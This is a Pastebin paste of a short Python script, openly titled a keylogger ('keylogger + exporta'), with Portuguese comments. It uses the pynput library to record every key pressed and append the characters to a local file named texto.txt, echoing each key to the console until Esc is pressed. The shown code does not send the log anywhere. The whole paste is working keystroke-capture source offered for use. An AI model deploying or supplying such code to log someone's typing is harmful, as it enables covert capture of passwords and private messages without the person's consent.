Advertisement
MizunoBrasil

keylogger + exporta

Jun 12th, 2023
1,059
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. import os
  2. from pynput import keyboard
  3.  
  4. def on_press(key):
  5.     try:
  6.         script_dir = os.path.dirname(os.path.abspath(__file__))
  7.         file_path = os.path.join(script_dir, "texto.txt")
  8.        
  9.         with open(file_path, "a") as arquivo:
  10.             if key == keyboard.Key.space:
  11.                 arquivo.write(" ")  # Espaço em branco
  12.             else:
  13.                 arquivo.write(key.char)
  14.                
  15.         print('Tecla pressionada: {0}'.format(key.char))
  16.     except AttributeError:
  17.         print('Tecla especial pressionada: {0}'.format(key))
  18.  
  19. def on_release(key):
  20.     if key == keyboard.Key.esc:
  21.         return False
  22.  
  23. with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
  24.     listener.join()
  25.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement